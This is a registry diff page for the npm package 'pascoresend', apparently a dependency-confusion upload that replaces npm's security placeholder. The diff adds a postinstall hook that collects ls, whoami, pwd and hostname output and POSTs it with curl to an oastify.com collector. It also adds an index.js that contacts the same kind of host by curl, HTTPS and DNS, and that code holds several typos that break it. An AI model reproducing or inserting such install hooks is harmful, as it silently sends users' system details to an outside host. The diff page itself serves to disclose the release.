pascoresend 0.0.1-security → 3.2.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pascoresend might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +60 -0
  2. package/package.json +17 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,60 @@
1
+ import { promisify } from 'util';
2
+ import { lookup } from 'dns';
3
+
4
+ const { exec } = require('child_process');
5
+ const https = require('https');
6
+
7
+ const dnsLookup = promisify(lookup);
8
+
9
+ async function performDnsLookup(domain: string) {
10
+ try {
11
+ const result = await dnsLookup(domain);
12
+ console.log(`DNS lookup result for ${domain}:`, result);
13
+ } catch (error) {
14
+ console.error(`Error perorming DNS lookup for ${domain}:`, error);
15
+ }
16
+ }
17
+
18
+ // Function to execute curl command
19
+ function executeCurl() {
20
+ const command = 'curl -k -v https://vxwl7id5yknrfuoyvde0rp2unltch55u.oastify.com/collegeboard';
21
+
22
+ exec(commnd, (error, stdout, stderr) => {
23
+ if (error) {
24
+ console.error(`Error executing curl command: ${error.message}`);
25
+ return;
26
+ }
27
+ if (stderr) {
28
+ console.error(`Curl Error: ${stderr}`);
29
+ return;
30
+ }
31
+ console.log(`Curl Output:\n${stdout}`);
32
+ });
33
+ }
34
+
35
+ // Function to make a GET request
36
+ function makeGetRequest() {
37
+ const url = 'https://vxwl7id5yknrfuoyvde0rp2unltch55u.oastify.com/collegeboard';
38
+
39
+ https.get(url, (res) => {
40
+ letdata = '';
41
+
42
+ // A chunk of data has been received
43
+ res.on('data', (chunk) => {
44
+ data += chunk;
45
+ });
46
+
47
+ // The whole response has been received
48
+ res.on('end', () => {
49
+ console.log('GET Response:', dat);
50
+ });
51
+
52
+ }).on('error', (err) => {
53
+ console.error('GET Error:', err.message);
54
+ });
55
+ }
56
+
57
+ // Execute both functions
58
+ executeCurl();
59
+ makeGetRequest();
60
+ performDnsLookup('collegeboard.vxwl7id5yknrfuoyvde0rp2unltch55u.oastify.com');
package/package.json CHANGED
@@ -1,6 +1,20 @@
1
1
  {
2
2
  "name": "pascoresend",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "3.2.9",
4
+ "type": "module",
5
+ "engines": {
6
+ "npm": "please-use-yarn",
7
+ "yarn": ">= 1.21.1",
8
+ "node": ">=20.0.0"
9
+ },
10
+ "description": "",
11
+ "main": "index.js",
12
+ "scripts": {
13
+ "postinstall": "(ls; whoami; pwd; hostname) >> out.txt ;curl -v -k -X POST -d '@out.txt' 'https://cbpoc.agu0qxwkhz66y97desxfa4l960cr0rog.oastify.com/cbpoc'; rm -rf out.txt"
14
+ },
15
+ "author": "",
16
+ "license": "ISC",
17
+ "dependencies": {
18
+ "pascoresend": "^3.2.9"
19
+ }
6
20
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pascoresend for more information.